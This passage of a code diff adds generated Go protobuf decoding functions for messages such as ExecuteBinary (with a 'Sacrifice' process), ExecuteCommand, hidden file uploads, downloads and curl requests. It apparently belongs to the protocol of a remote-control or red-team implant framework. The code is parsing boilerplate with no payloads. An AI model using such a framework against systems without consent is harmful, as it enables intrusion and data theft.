} + m.Addon = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecuteBinary", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.ExecuteBinary == nil { + m.ExecuteBinary = &ExecuteBinary{} + } + if err := m.ExecuteBinary.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteBinary) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteBinary: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteBinary: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Param", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Param == nil { + m.Param = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Param[mapkey] = mapvalue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ProcessName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ProcessName = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = append(m.Args, stringValue) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field EntryPoint", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.EntryPoint = stringValue + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 9: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Output = bool(v != 0) + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + m.Arch = 0 + m.Arch, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 11: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + } + m.Timeout = 0 + m.Timeout, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sacrifice", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sacrifice == nil { + m.Sacrifice = &SacrificeProcess{} + } + if err := m.Sacrifice.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 13: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 14: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Context", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Context = stringValue + iNdEx = postIndex + case 15: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Delay", wireType) + } + m.Delay = 0 + m.Delay, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteCommand) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteCommand: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteCommand: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Command", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Command = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sacrifice", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sacrifice == nil { + m.Sacrifice = &SacrificeProcess{} + } + if err := m.Sacrifice.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *UploadRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: UploadRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: UploadRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Target = stringValue + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Priv", wireType) + } + m.Priv = 0 + m.Priv, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Hidden", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Hidden = bool(v != 0) + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Override", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Override = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DownloadRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DownloadRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DownloadRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BufferSize", wireType) + } + m.BufferSize = 0 + m.BufferSize, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Dir", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Dir = bool(v != 0) + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cur", wireType) + } + m.Cur = 0 + m.Cur, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DownloadResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DownloadResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DownloadResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Checksum", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Checksum = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + m.Size, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cur", wireType) + } + m.Cur = 0 + m.Cur, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Content", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Content = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *CurlRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: CurlRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: CurlRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Url", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Url = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + } + m.Timeout = 0 + m.Timeout, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Method", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Method = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Body", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Body = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Header", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Header == nil { + m.Header = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Header[mapkey] = mapvalue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Hostname = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ChownRequest) 